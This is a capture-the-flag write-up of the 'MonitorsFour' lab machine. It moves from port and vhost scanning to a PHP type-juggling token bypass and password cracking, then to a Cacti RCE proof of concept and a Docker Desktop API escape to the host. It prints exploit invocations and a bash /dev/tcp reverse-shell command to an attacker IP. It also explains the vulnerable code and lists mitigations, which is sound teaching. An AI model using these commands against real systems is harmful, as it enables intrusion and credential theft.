Skip to main content

MonitorsFour (easy)

·1888 words·9 mins
Table of Contents

Overview
#

MonitorsFour is the next successor of “Monitors” machine which as always include an exploitation of cacti . Even tough the machine is rated easy, I would give it a medium rating, as exploiting the API endpoint with type juggling needed some advanced understanding in terms of inner working of PHP. For Privilege Escalation there was one hint in the changelog of the main website, which gave the docker version away. Only by picking this up or staying updated on latest exploit you would successful know that docker desktop had a major vulnerability by exposing the docker API unauthenticated to every container.

User
#

Nmap portscan shows two ports open:

sudo nscan 10.129.54.70

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

VHost fuzzing reveals cacti subdomain:

ffuf -c -t 300 -u "http://monitorsfour.htb" -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 138

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 138
________________________________________________

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 294ms]

Visiting cacti we can see its version 1.2.28:

monitorsfour1.png

feroxbuster directory fuzzing against main site:

─$ feroxbuster -u 'http://monitorsfour.htb' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php,bak,js
                                                                                                                          
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://monitorsfour.htb/
 🚩  In-Scope Url          β”‚ monitorsfour.htb
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.13.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 πŸ’²  Extensions            β”‚ [txt, php, bak, js]
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
403      GET        7l        9w      146c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                             
404      GET        7l       11w      146c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                             
200      GET       38l      117w     2813c http://monitorsfour.htb/static/js/plugins.js
200      GET       19l       62w     3695c http://monitorsfour.htb/static/images/services/04.png
200      GET       71l      130w     1872c http://monitorsfour.htb/static/js/custom.js
200      GET       24l       99w      770c http://monitorsfour.htb/static/js/smoothscroll.js
200      GET        6l       34w     2166c http://monitorsfour.htb/static/images/services/02.png
200      GET      129l      673w    57007c http://monitorsfour.htb/static/admin/assets/images/logo.png
200      GET       11l       15w      188c http://monitorsfour.htb/static/css/plugins.css
200      GET      935l     1752w    15174c http://monitorsfour.htb/static/css/style.css
200      GET        1l      235w    12063c http://monitorsfour.htb/static/images/review.svg
200      GET        5l       30w     1616c http://monitorsfour.htb/static/images/services/01.png
200      GET        5l      369w    21003c http://monitorsfour.htb/static/js/popper.min.js
200      GET        9l       43w     3028c http://monitorsfour.htb/static/images/services/03.png
200      GET      109l      619w    13655c http://monitorsfour.htb/static/images/service.svg
200      GET        1l      359w    22207c http://monitorsfour.htb/static/images/banner.svg
200      GET        1l      393w    15974c http://monitorsfour.htb/static/images/about-us.svg
200      GET        7l      683w    60010c http://monitorsfour.htb/static/js/bootstrap.min.js
200      GET        1l        3w       35c http://monitorsfour.htb/user
200      GET       87l     1326w   157954c http://monitorsfour.htb/static/admin/assets/images/logo.ico
200      GET        4l     1293w    86709c http://monitorsfour.htb/static/js/jquery-min.js
200      GET        2l      210w    12507c http://monitorsfour.htb/static/admin/assets/js/plugins/loaders/pace.min.js
200      GET        7l      277w    44342c http://monitorsfour.htb/static/js/owl.carousel.min.js
200      GET       96l      239w     4340c http://monitorsfour.htb/login
200      GET      338l      982w    13688c http://monitorsfour.htb/
200      GET        4l     1305w    84345c http://monitorsfour.htb/static/admin/assets/js/core/libraries/jquery.min.js
200      GET        1l        1w    37820c http://monitorsfour.htb/static/admin/assets/css/minified/colors.min.css
200      GET        1l     1733w   122310c http://monitorsfour.htb/static/admin/assets/css/minified/bootstrap.min.css
200      GET        6l      184w     9227c http://monitorsfour.htb/static/admin/assets/js/plugins/loaders/blockui.min.js
200      GET      607l     1130w    16986c http://monitorsfour.htb/static/admin/assets/js/core/app.js
200      GET     1190l     1226w    47483c http://monitorsfour.htb/static/admin/assets/css/icons/icomoon/styles.css
200      GET        4l       35w      367c http://monitorsfour.htb/contact
200      GET        7l      430w    36816c http://monitorsfour.htb/static/admin/assets/js/core/libraries/bootstrap.min.js
200      GET       84l      212w     3099c http://monitorsfour.htb/forgot-password
200      GET        1l     1430w   108349c http://monitorsfour.htb/static/admin/assets/css/minified/core.min.css
200      GET        1l     5059w   256503c http://monitorsfour.htb/static/admin/assets/css/minified/components.min.css
200      GET     4734l    29110w  2364586c http://monitorsfour.htb/static/admin/assets/images/servers.png
301      GET        7l       11w      162c http://monitorsfour.htb/static => http://monitorsfour.htb/static/
301      GET        7l       11w      162c http://monitorsfour.htb/static/images => http://monitorsfour.htb/static/images/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin => http://monitorsfour.htb/static/admin/
301      GET        7l       11w      162c http://monitorsfour.htb/static/js => http://monitorsfour.htb/static/js/
301      GET        7l       11w      162c http://monitorsfour.htb/static/css => http://monitorsfour.htb/static/css/
301      GET        7l       11w      162c http://monitorsfour.htb/static/images/blog => http://monitorsfour.htb/static/images/blog/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets => http://monitorsfour.htb/static/admin/assets/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/js => http://monitorsfour.htb/static/admin/assets/js/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/images => http://monitorsfour.htb/static/admin/assets/images/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/css => http://monitorsfour.htb/static/admin/assets/css/
301      GET        7l       11w      162c http://monitorsfour.htb/static/images/services => http://monitorsfour.htb/static/images/services/
301      GET        7l       11w      162c http://monitorsfour.htb/static/fonts => http://monitorsfour.htb/static/fonts/
200      GET        1l     5104w    64362c http://monitorsfour.htb/static/js/main.js
301      GET        7l       11w      162c http://monitorsfour.htb/views => http://monitorsfour.htb/views/
301      GET        7l       11w      162c http://monitorsfour.htb/static/admin/assets/swf => http://monitorsfour.htb/static/admin/assets/swf/
301      GET        7l       11w      162c http://monitorsfour.htb/views/admin => http://monitorsfour.htb/views/admin/
200      GET       96l      239w     4340c http://monitorsfour.htb/views/login.php
200      GET      338l      982w    13688c http://monitorsfour.htb/views/index.php
200      GET      215l      592w     9229c http://monitorsfour.htb/views/admin/api.php
200      GET      321l      800w    13987c http://monitorsfour.htb/views/admin/users.php
301      GET        7l       11w      162c http://monitorsfour.htb/controllers => http://monitorsfour.htb/controllers/
200      GET      338l      982w    13688c http://monitorsfour.htb/views/

We enumerated http://monitorsfour.htb/user / http://monitorsfour.htb/users which is just a wrapper for the API endpoint on: http://monitorsfour.htb/api/v1/users

If we request it, we see its missing the token parameter:

curl "http://monitorsfour.htb/api/v1/users"             
{"error":"Missing token parameter"} 

Giving an arbitrary one errors out:

curl "http://monitorsfour.htb/api/v1/users?token=x"
{"error":"Invalid or missing token"} 

Let’s try PHP Type Juggeling, as we previously enumerated the nginx webserver is running PHP.

└─$ curl "http://monitorsfour.htb/api/v1/users?token=0" | jq
[
  {
    "id": 2,
    "username": "admin",
    "email": "admin@monitorsfour.htb",
    "password": "56b32eb43e6f15395f6c46c1c9e1cd36",
    "role": "super user",
    "token": "8024b78f83f102da4f",
    "name": "Marcus Higgins",
    "position": "System Administrator",
    "dob": "1978-04-26",
    "start_date": "2021-01-12",
    "salary": "320800.00"
  },
  {
    "id": 5,
    "username": "mwatson",
    "email": "mwatson@monitorsfour.htb",
    "password": "69196959c16b26ef00b77d82cf6eb169",
    "role": "user",
    "token": "0e543210987654321",
    "name": "Michael Watson",
    "position": "Website Administrator",
    "dob": "1985-02-15",
    "start_date": "2021-05-11",
    "salary": "75000.00"
  },
  {
    "id": 6,
    "username": "janderson",
    "email": "janderson@monitorsfour.htb",
    "password": "2a22dcf99190c322d974c8df5ba3256b",
    "role": "user",
    "token": "0e999999999999999",
    "name": "Jennifer Anderson",
    "position": "Network Engineer",
    "dob": "1990-07-16",
    "start_date": "2021-06-20",
    "salary": "68000.00"
  },
  {
    "id": 7,
    "username": "dthompson",
    "email": "dthompson@monitorsfour.htb",
    "password": "8d4a7e7fd08555133e056d9aacb1e519",
    "role": "user",
    "token": "0e111111111111111",
    "name": "David Thompson",
    "position": "Database Manager",
    "dob": "1982-11-23",
    "start_date": "2022-09-15",
    "salary": "83000.00"
  }
]
  

We get an authentication bypass, by giving in an integer 0 which is compared with == (loose) instead of === (strict). The endpoint is revealing all users and their hashed passwords.

Let’s save the hashes to a file and try to crack them:

hashcat hashes -m0 rockyou.txt
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1

admin hash cracked!

With those credentials we get logged in on the main website:

monitorsfour2.png

Trying to reuse that password on cacti with username admin fails. But as we see his name is Marcus Higgins, we can take and educated guess and try marcus as username for cacti. This let us in with same pw wonderful1:

monitorsfour3.png

A short research for version 1.2.28 leads us to this authenticated RCE, https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC . This PoC is published by the creator of the machine.

python exploit.py -u marcus -p 'wonderful1' -i 10.10.14.39 -l 9001 --url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: kZpkN.php
[+] Got payload: /bash
[i] Created PHP filename: BMMnb.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

On Listener:

ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.109.64:57468.
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ 

We find the user flag inside this container under /home/marcus/user.txt

Root
#

In changelog of monitorsfour.htb website the docker version running on host was specified:

monitorsfour4.png

Researching for exploits for this version, we find CVE-2025-9074 which is an unauthenticated RCE against the host via docker API from within any container: https://github.com/BridgerAlderson/CVE-2025-9074-PoC Basically with access to the docker API, we can create a new container and mount the whole filesystem of the host within it, giving us read/write permission to any file and de facto a full system compromise.

www-data@821fbd6a43fa:/tmp$ ./expl.sh 192.168.65.7 id

#########################################################                                                                                                      
#     Docker API Universal RCE & Audit Tool             #                                                                                                      
#     Auto-detects OS & Images for Compatibility        #                                                                                                      
#########################################################                                                                                                      
      
[*] Checking connection to http://192.168.65.7:2375...
[+] Detected OS Type: linux
[i] Linux detected. Mounting host root (/).
[*] Enumerating available images...
[+] Target has image available: docker_setup-nginx-php:latest
[+] Creating container with image: docker_setup-nginx-php:latest
[+] Container ID: ff450d460dcd
[+] Starting container...
[+] Executing command: id
---------------- OUTPUT ----------------
'uid=0(root) gid=0(root) groups=0(root)

----------------------------------------
[+] Cleaning up...
[+] Done.

192.168.65.7:2375 is the address, where the docker API endpoint for docker desktop (windows) is exposed.

RCE into docker host:

www-data@821fbd6a43fa:/tmp$ ./expl.sh 192.168.65.7 'bash -c "bash -i >&/dev/tcp/10.10.14.39/9001 0>&1"'

Listener:

ncat -lvnp 9001                           
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.109.64:57480.
bash: cannot set terminal process group (6): Inappropriate ioctl for device
bash: no job control in this shell
root@2c786f24205e:/var/www/html# 

We’re now in the arbitrary created container. The host filesystem is mounted under /host_root. As docker desktop on windows is using WSL there are some additional directories to traverse to find the root flag:

root@197363611dc8:/host_root/mnt/host/c/Users/Administrator/Desktop# cat root.txt

Additional note: From this state we do not have the permission to read any registry hives, which would have given us NTLM-hashes to log in via WinRM. There were some ScheduledTask running, so by adjusting those scripts, we could achieve a full shell on the host system.

Why Type Juggling worked
#

Here is the code snipped, which lead to authentication bypass (/var/www/app/controllers/AuthController.php):

   public function validate_token($token): bool
    {
        $query = "SELECT token FROM users";
        $stmt  = $this->db->query($query);
        $tokens = $stmt->fetchAll(PDO::FETCH_COLUMN);

        foreach ($tokens as $db_token) {
            if ($token == $db_token) {
                return true;
            }
        }

        return false;
    }

It gathers all tokens from the database and loops through each one to find a match, else it return false. The comparison is done with == (loose). In the given users table we can see three tokens begin with 0e:

"token": "0e543210987654321",
"token": "0e999999999999999",
"token": "0e111111111111111",

On a loose comparison PHP tries to convert values to the same type, before comparison. In this case with 0e PHP interprets the value as scientific notation and is treated as a float in comparison operations. When we give in the string with 0 as token, it gets converted into an integer to match the type before comparison. 0e float also gets converted into a integer number, which is 0 obviously.

In the end because of the conversions there is a match 0 == 0, resulting in the authentication bypass.

This source is an additional good explanation: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md.

Learning Points
#

  • Whenever there are some comparison done in PHP, when wrongly implemented type juggling can lead to severe harm.
  • Try numerous of similar usernames for password reuse.
  • An exposed docker API is most likely a full system compromise in any way.

Mitigation Points
#

  • Enforce strict comparisons wherever possible in PHP.
  • Update cacti and docker desktop to latest versions, maintain a strict update cycle and monitor for critical security vulnerabilities.